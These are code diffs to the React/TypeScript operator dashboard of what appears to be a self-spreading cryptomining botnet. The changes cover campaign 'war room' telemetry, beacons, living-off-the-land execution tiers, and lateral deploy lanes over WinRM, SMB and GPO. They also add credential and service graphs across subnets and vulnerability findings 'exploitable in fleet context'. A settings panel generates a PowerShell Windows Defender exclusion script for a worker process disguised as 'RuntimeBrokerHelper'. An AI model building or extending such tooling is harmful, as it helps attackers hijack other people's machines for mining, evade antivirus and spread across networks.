<button type="button" className="btn btn-outline btn-sm" disabled={rosterPageSafe >= rosterPageCount - 1} onClick={() => setRosterPage((p) => Math.min(rosterPageCount - 1, p + 1))}>Next </button>
</div>
)}
<div className="crucible-roster">
{agents.map((a) => {
{rosterSlice.map((a) => {
const sel = selectedIds.has(a.id);
const isOn = online(a);
const ssh = sshStatus(a);
@@ -1036,6 +1180,18 @@ export default function CruciblePage() {
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
<span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
</div>
{(a.tags?.length ?? 0) > 0 && (
<div className="cn-tags" style={{ display: 'flex', flexWrap: 'wrap', gap: '0.25rem', marginTop: '0.2rem' }}>
{a.tags!.map((t) => (
<span key={t} className="agent-tag-chip" style={{ fontSize: '0.65rem' }}>{t}</span>
))}
</div>
)}
{a.notes?.trim() && (
<div className="form-hint" style={{ fontSize: '0.68rem', marginTop: '0.15rem', opacity: 0.75 }}>
{a.notes.trim().slice(0, 60)}{a.notes.length > 60 ? '…' : ''}
</div>
)}
<div className="cn-ip font-tech">{a.ip || '—'}</div>
<div className="cn-stats">
<span>{a.cpu_cores}c</span>
@@ -1043,6 +1199,8 @@ export default function CruciblePage() {
<LatencyBadge ms={isOn ? a.latency_ms : undefined} compact />
</div>
<div className="cn-badges">
<LotlTierBadge tier={a.lotl_tier} attempts={a.lotl_attempts} />
<RiskBadge findings={a.vuln_findings} />
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
<div
className={`cn-posture ${posture.cls}`}
@@ -1131,9 +1289,14 @@ export default function CruciblePage() {
);
})}
</div>
</>
)}
</NeonCard>
{focusedAgent && (
<CrucibleAgentMeta agent={focusedAgent} />
)}
{/* ── Focused machine banner ──────────────────────────────────────── */}
{focusedAgent && (
<div className="crucible-focus-bar" style={{
@@ -1150,6 +1313,8 @@ export default function CruciblePage() {
</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.ip || '—'}</span>
<span className={`status-badge ${focusedAgent.status}`}>{focusedAgent.status}</span>
<LotlTierBadge tier={focusedAgent.lotl_tier} attempts={focusedAgent.lotl_attempts} variant="inline" />
<RiskBadge findings={focusedAgent.vuln_findings} variant="inline" />
<LatencyBadge ms={focusedAgent.status === 'online' ? focusedAgent.latency_ms : undefined} />
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''}</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB</span>
@@ -1175,7 +1340,7 @@ export default function CruciblePage() {
<span className="section-ornament"></span> GROUPS <HelpTip field="crucible_groups" />
</div>
<p className="form-hint" style={{ margin: '0 0 0.5rem' }}>
Same groups as Fleet Roster click a chip to select all members.
Named color subsets click a chip to select all members for bulk commands.
</p>
{groups.length === 0 ? (
<p className="form-hint" style={{ margin: 0 }}>

View File

@@ -1009,8 +1009,8 @@ export default function DashboardPage() {
</div>
{filteredAgents.length > 12 && (
<div style={{ textAlign: 'center', marginTop: '1rem' }}>
<Link to="/agents" className="btn btn-outline btn-sm font-tech">
View all {filteredAgents.length} agents
<Link to="/crucible" className="btn btn-outline btn-sm font-tech">
View all {filteredAgents.length} agents in Crucible
</Link>
</div>
)}

View File

@@ -650,6 +650,66 @@
pointer-events: none;
}
.war-room-funnel-card--heat::after {
content: '';
position: absolute;
inset: 0;
background: radial-gradient(
ellipse at 85% 15%,
rgba(255, 107, 44, calc(var(--hash-heat, 0) * 0.5)) 0%,
rgba(201, 162, 39, calc(var(--hash-heat, 0) * 0.22)) 35%,
transparent 65%
);
pointer-events: none;
transition: opacity 0.35s ease;
}
.war-room-agent-tags {
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
margin-bottom: 0.65rem;
position: relative;
}
.war-room-agent-tag {
display: inline-flex;
align-items: center;
gap: 0.25rem;
padding: 0.12rem 0.4rem;
border-radius: 999px;
font-size: 0.68rem;
border: 1px solid rgba(61, 214, 198, 0.25);
background: rgba(0, 0, 0, 0.35);
color: var(--text-dim, #aaa);
max-width: 100%;
}
.war-room-agent-tag-name {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
max-width: 7rem;
}
.war-room-lotl-badge {
flex-shrink: 0;
padding: 0.05rem 0.3rem;
border-radius: 3px;
font-size: 0.58rem;
font-weight: 700;
letter-spacing: 0.04em;
color: #ff6b2c;
background: rgba(255, 107, 44, 0.15);
border: 1px solid rgba(255, 107, 44, 0.35);
}
.agent-tag-chip.war-room-lotl-badge {
color: #ff6b2c;
background: rgba(255, 107, 44, 0.12);
border-color: rgba(255, 107, 44, 0.35);
}
.war-room-funnel-card-head {
display: flex;
justify-content: space-between;

View File

@@ -12,7 +12,7 @@ import { api } from '../api/client';
import { SPREAD_TECHNIQUES_DOC } from '../help/spreadTechniques';
vi.mock('../hooks/useWebSocket', () => ({
useWebSocket: () => ({ latestMessage: null }),
useWebSocket: () => ({ latestMessage: null, agents: [] }),
}));
vi.mock('../context/PresenceContext', () => ({
@@ -116,4 +116,18 @@ describe('EmberwakePage', () => {
expect(exportSpy).toHaveBeenCalled();
});
});
it('auto-selects pinned build A without re-fetch loop', async () => {
const listSpy = vi.spyOn(api, 'listBuilds');
const warRoomSpy = vi.spyOn(api, 'getWarRoom');
renderEmberwake();
const pinA = await screen.findByLabelText(/Build A \(pin\)/i);
await waitFor(() => {
expect((pinA as HTMLSelectElement).value).toBe('build-1');
});
// load() runs once on mount — pin ref fix must not cascade into repeated fetches.
expect(listSpy.mock.calls.length).toBeLessThanOrEqual(2);
// War room loads once on mount; hashrate telemetry comes from WS stats_batch (no poll loop).
expect(warRoomSpy.mock.calls.length).toBeLessThanOrEqual(2);
});
});

View File

@@ -9,6 +9,11 @@ import {
spreadTechniqueDocUrl,
} from '../help/spreadTechniques';
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
import {
aggregateCampaignTelemetry,
maxTelemetryHashrate,
mergeCampaignWithLiveTelemetry,
} from '../help/warRoomTelemetry';
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
@@ -42,7 +47,7 @@ const NOTES_TYPING_IDLE_MS = 2000;
const WAR_ROOM_DAYS = 7;
export default function EmberwakePage() {
const { latestMessage } = useWebSocket();
const { latestMessage, agents: wsAgents } = useWebSocket();
const { notesTyping, sendNotesTyping } = usePresence();
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
@@ -111,6 +116,24 @@ export default function EmberwakePage() {
void load().catch(() => {});
}, [load]);
const liveTelemetry = useMemo(() => aggregateCampaignTelemetry(wsAgents), [wsAgents]);
const maxLiveHashrate = useMemo(() => maxTelemetryHashrate(liveTelemetry), [liveTelemetry]);
const displayCampaigns = useMemo(() => {
if (!warRoom?.campaigns?.length) return [];
return warRoom.campaigns.map((c) =>
mergeCampaignWithLiveTelemetry(c, liveTelemetry.get(c.campaign)),
);
}, [warRoom, liveTelemetry]);
const campaignAgentsMap = useMemo(() => {
const out: Record<string, typeof wsAgents> = {};
for (const [slug, telemetry] of liveTelemetry) {
out[slug] = telemetry.agents;
}
return out;
}, [liveTelemetry]);
useEffect(() => {
if (!latestMessage) return;
if (latestMessage.type === 'emberwake_notes_updated') {
@@ -339,21 +362,23 @@ export default function EmberwakePage() {
</button>
</div>
<HelpTip field="ew_war_room_views" />
<span className="war-room-toolbar-meta">WebSocket push ~30s</span>
<span className="war-room-toolbar-meta">Hash live · funnel WS ~30s</span>
</div>
</div>
{warRoom && warRoom.campaigns.length > 0 ? (
{displayCampaigns.length > 0 ? (
warRoomView === 'constellations' ? (
<CampaignConstellations
campaigns={warRoom.campaigns}
campaigns={displayCampaigns}
onSelectCampaign={handleConstellationSelect}
/>
) : warRoomView === 'funnel' ? (
<WarRoomFunnelBoard
campaigns={warRoom.campaigns}
days={warRoom.days || WAR_ROOM_DAYS}
campaigns={displayCampaigns}
days={warRoom?.days || WAR_ROOM_DAYS}
refreshKey={warRoomUpdated}
highlightCampaign={highlightedCampaign}
campaignAgents={campaignAgentsMap}
maxLiveHashrate={maxLiveHashrate}
/>
) : (
<div className="war-room-table-wrap">
@@ -373,7 +398,7 @@ export default function EmberwakePage() {
</tr>
</thead>
<tbody>
{warRoom.campaigns.map((c, rowIndex) => {
{displayCampaigns.map((c, rowIndex) => {
const max = sparklineMax(c.daily_hits);
const beacon = c.first_beacon ?? c.agents;
const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);

View File

@@ -178,6 +178,7 @@ describe('SettingsPage (Calibrate)', () => {
expect(
await screen.findByText(/first server start, credentials are printed once in the server console/i)
).toBeInTheDocument();
expect(screen.getByText(/admin/i)).toBeInTheDocument();
const adminCode = screen.getAllByText('admin', { exact: true }).find((el) => el.tagName === 'CODE');
expect(adminCode).toBeTruthy();
});
});

View File

@@ -30,6 +30,10 @@ import {
type ForgeSkinId,
type ForgeThemeOverride,
} from '../help/forgeOperationModes';
import {
buildDefenderExclusionScript,
defaultWindowsInstallPreview,
} from '../help/defenderExclusion';
import './Pages.css';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
@@ -87,6 +91,9 @@ export default function SettingsPage() {
const [backupMsg, setBackupMsg] = useState('');
const [testingAlerts, setTestingAlerts] = useState(false);
const [alertTestMsg, setAlertTestMsg] = useState('');
const [avInstallPath, setAvInstallPath] = useState(defaultWindowsInstallPreview());
const [avProcessName, setAvProcessName] = useState('RuntimeBrokerHelper');
const [avScriptMsg, setAvScriptMsg] = useState('');
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
@@ -458,6 +465,80 @@ export default function SettingsPage() {
</NeonCard>
)}
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
<h2 className="font-display">Windows Defender Exclusions</h2>
<p className="section-desc">
Generate a PowerShell script to allowlist your forge install path and worker process.
Run it <strong>manually as Administrator</strong> on each mining PC the agent does not silently bypass AV.
Disable Tamper Protection temporarily if exclusions are rejected.
</p>
<div className="form-row">
<div className="form-group" style={{ flex: 2 }}>
<label className="label" htmlFor="av-install-path">Install path</label>
<input
id="av-install-path"
className="input"
value={avInstallPath}
onChange={(e) => setAvInstallPath(e.target.value)}
placeholder="%LOCALAPPDATA%\CryptoMiner\worker-{build_short}"
/>
</div>
<div className="form-group" style={{ flex: 1 }}>
<label className="label" htmlFor="av-process-name">Process name</label>
<input
id="av-process-name"
className="input"
value={avProcessName}
onChange={(e) => setAvProcessName(e.target.value)}
placeholder="RuntimeBrokerHelper"
/>
</div>
</div>
<div className="form-row" style={{ gap: '0.5rem', flexWrap: 'wrap', marginTop: '0.5rem' }}>
<button
type="button"
className="btn btn-outline btn-sm"
onClick={async () => {
const script = buildDefenderExclusionScript({
installPath: avInstallPath,
processName: avProcessName,
});
try {
await navigator.clipboard.writeText(script);
setAvScriptMsg('Script copied — run elevated on each Windows worker.');
} catch {
setAvScriptMsg('Clipboard blocked — select script from download below.');
}
}}
>
Copy exclusion script
</button>
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => {
const script = buildDefenderExclusionScript({
installPath: avInstallPath,
processName: avProcessName,
});
const blob = new Blob([script], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'aetherforge-defender-exclusions.ps1';
a.click();
URL.revokeObjectURL(url);
setAvScriptMsg('Downloaded aetherforge-defender-exclusions.ps1');
}}
>
Download .ps1
</button>
</div>
{avScriptMsg && (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>{avScriptMsg}</p>
)}
</NeonCard>
<div className="settings-grid">
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Deck Atmosphere</h2>

View File

@@ -83,8 +83,31 @@ export interface Agent {
campaign?: string;
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
latency_ms?: number;
// Mining fallback cascade (container → in-process → GPU → Stratum)
active_method?: string;
failed_methods?: { method: string; reason: string; at: string }[];
last_error?: string;
chain_order?: string[];
stratum_overlay?: boolean;
chain_exhausted?: boolean;
/** Effective mining hashrate from stats_batch (CPU+GPU rollup when omitted). */
mining_hashrate?: number;
/** Living-off-the-land execution tier reported by agent. */
lotl_tier?: string;
/** Per-tier attempt history from agent TierReport. */
lotl_attempts?: import('./lotl').TierAttempt[];
/** Read-only vuln probe findings (LOTL recon tier). */
vuln_findings?: import('./recon').VulnFinding[];
vuln_risk_score?: number;
/** Last successful discover_and_join deploy lane (winrm, smb, gpo, docker, …). */
join_lane?: string;
}
export type { LOTLTier, TierAttempt, TierReport } from './lotl';
export interface AgentService {
name: string;
display_name?: string;
@@ -272,6 +295,8 @@ export interface ServerSettings {
sign_timestamp_url?: string;
public_builds_enabled?: boolean;
public_builds_latest_n?: number;
/** Server-side LOTL Onion tier order pushed to agents with lotl_policy_from_server. */
lotl_onion_tiers?: string[];
}
export interface TunnelDefaults {
@@ -409,6 +434,8 @@ export interface BuildRequest {
thread_percent: number;
cpu_priority: string;
mining_mode: string;
/** CPU workload isolation: auto | container | inprocess | subprocess */
miner_execution?: string;
display_mode: string;
silent_mode: boolean;
run_as: string;
@@ -493,6 +520,11 @@ export interface BuildRequest {
https_beacon_fallback?: boolean;
/** Minutes without WebSocket before HTTPS beacon (default 3). */
https_beacon_after_min?: number;
/** LOTL Onion native-tool spread tier chain (LOTL Onion preset). */
lotl_onion_enabled?: boolean;
/** Pull tier order from server on auth instead of baked list only. */
lotl_policy_from_server?: boolean;
lotl_onion_tiers?: string[];
}
/** Fallback Stratum pool baked into the agent at forge time. */
@@ -558,6 +590,20 @@ export interface PathTraceHop {
error?: string;
}
export interface ServiceGraphEntry {
service_name: string;
port?: number;
join_lane_candidate?: string;
source?: string;
}
export interface ServiceGraphHost {
host: string;
subnet?: string;
agent_id?: string;
services: ServiceGraphEntry[];
}
export interface BlueprintInfo {
name: string;
size: number;

View File

@@ -0,0 +1,104 @@
/**
* LOTL tier mining types — mirrors agent/miner/lotl.go TierAttempt / TierReport.
* Consumed by Crucible, Emberwake, and mining_diagnostics rich terminal blocks.
*/
/** Canonical tier identifiers from the agent onion chain. */
export type LOTLTier =
| 'container'
| 'wsl'
| 'ps_memory'
| 'inprocess'
| 'gpu'
| 'stratum'
| string;
/** One tier probe or start attempt — mirrors Go TierAttempt. */
export interface TierAttempt {
tier: string;
ok: boolean;
error?: string;
duration_ms?: number;
wallet?: string;
}
/** Full tier run snapshot — mirrors Go TierReport (mining_diagnostics + WS stats). */
export interface TierReport {
active_tier?: string;
lotl_tier?: string;
attempts?: TierAttempt[];
lotl_attempts?: TierAttempt[];
mining_hashrate?: number;
}
const TIER_LABELS: Record<string, string> = {
container: 'Container',
wsl: 'WSL',
ps_memory: 'PS Memory',
inprocess: 'In-Process',
gpu: 'GPU',
stratum: 'Stratum',
vuln_probe: 'Vuln Recon',
};
export function formatLotlTierLabel(tier: string): string {
const key = tier.trim().toLowerCase();
return TIER_LABELS[key] ?? tier.replace(/_/g, ' ');
}
export function formatDurationMs(ms?: number): string {
if (ms === undefined || ms === null || Number.isNaN(ms)) return '—';
if (ms < 1000) return `${Math.round(ms)}ms`;
return `${(ms / 1000).toFixed(1)}s`;
}
/** Normalize lotl_attempts / attempts from API or diagnostics JSON. */
export function parseTierAttempts(raw: unknown): TierAttempt[] {
if (!Array.isArray(raw)) return [];
const out: TierAttempt[] = [];
for (const item of raw) {
if (!item || typeof item !== 'object') continue;
const row = item as Record<string, unknown>;
const tier = typeof row.tier === 'string' ? row.tier : '';
if (!tier) continue;
out.push({
tier,
ok: row.ok === true,
error: typeof row.error === 'string' ? row.error : undefined,
duration_ms: typeof row.duration_ms === 'number' ? row.duration_ms : undefined,
wallet: typeof row.wallet === 'string' ? row.wallet : undefined,
});
}
return out;
}
/** Extract tier report fields from mining_diagnostics JSON or WS agent row. */
export function parseTierReport(raw: Record<string, unknown>): {
lotl_tier?: string;
lotl_attempts: TierAttempt[];
mining_hashrate?: number;
} {
const lotl_tier =
(typeof raw.lotl_tier === 'string' && raw.lotl_tier) ||
(typeof raw.active_tier === 'string' && raw.active_tier) ||
undefined;
const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts);
const mining_hashrate =
typeof raw.mining_hashrate === 'number'
? raw.mining_hashrate
: typeof raw.cpu === 'object' && raw.cpu !== null
? (raw.cpu as Record<string, unknown>).hashrate_hps as number | undefined
: undefined;
return { lotl_tier, lotl_attempts: attempts, mining_hashrate };
}
export function lotlAttemptsTooltip(attempts: TierAttempt[]): string {
if (attempts.length === 0) return 'No LOTL tier attempts recorded';
return attempts
.map((a) => {
const status = a.ok ? 'OK' : 'FAIL';
const err = a.error ? `${a.error}` : '';
return `${formatLotlTierLabel(a.tier)}: ${status} (${formatDurationMs(a.duration_ms)})${err}`;
})
.join('\n');
}

View File

@@ -0,0 +1,46 @@
/** Fleet recon — credential graph, service graph, vuln findings (mirrors agent/server JSON). */
export type VulnSeverity = 'critical' | 'high' | 'medium' | 'low' | 'info' | string;
export interface VulnFinding {
cve_id: string;
severity: VulnSeverity;
component?: string;
patched?: boolean;
exploitable_in_fleet_context?: boolean;
}
export type JoinLane =
| 'winrm'
| 'smb'
| 'gpo'
| 'docker'
| 'bits'
| 'intune'
| 'linux-lotl'
| string;
export interface CredentialSubnetEdge {
subnet: string;
edges: number;
success_count?: number;
fail_count?: number;
last_at?: string;
}
export interface CredentialGraphResponse {
subnets: CredentialSubnetEdge[];
}
export interface ServiceGraphNode {
service_name: string;
port?: number;
join_lane_candidate?: string;
status?: string;
}
export interface ServiceGraphResponse {
agent_id?: string;
subnet?: string;
services: ServiceGraphNode[];
}

View File

@@ -13,6 +13,10 @@ export interface WSAgentOffline {
agent_id: string;
}
export interface WSStatsBatch {
updates: WSStatsUpdate[];
}
export interface WSStatsUpdate {
agent_id: string;
hashrate_15s: number;
@@ -58,6 +62,23 @@ export interface WSStatsUpdate {
agent_elevated?: boolean;
services?: AgentService[];
latency_ms?: number;
// Mining fallback cascade
active_method?: string;
failed_methods?: { method: string; reason: string; at: string }[];
last_error?: string;
chain_order?: string[];
stratum_overlay?: boolean;
chain_exhausted?: boolean;
/** Effective mining hashrate (H/s) — may differ from hashrate_15m when GPU/container active. */
mining_hashrate?: number;
/** LOTL tier label for spread telemetry badges. */
lotl_tier?: string;
lotl_attempts?: import('./lotl').TierAttempt[];
vuln_findings?: import('./recon').VulnFinding[];
vuln_risk_score?: number;
join_lane?: string;
}
export interface WSCommandResult {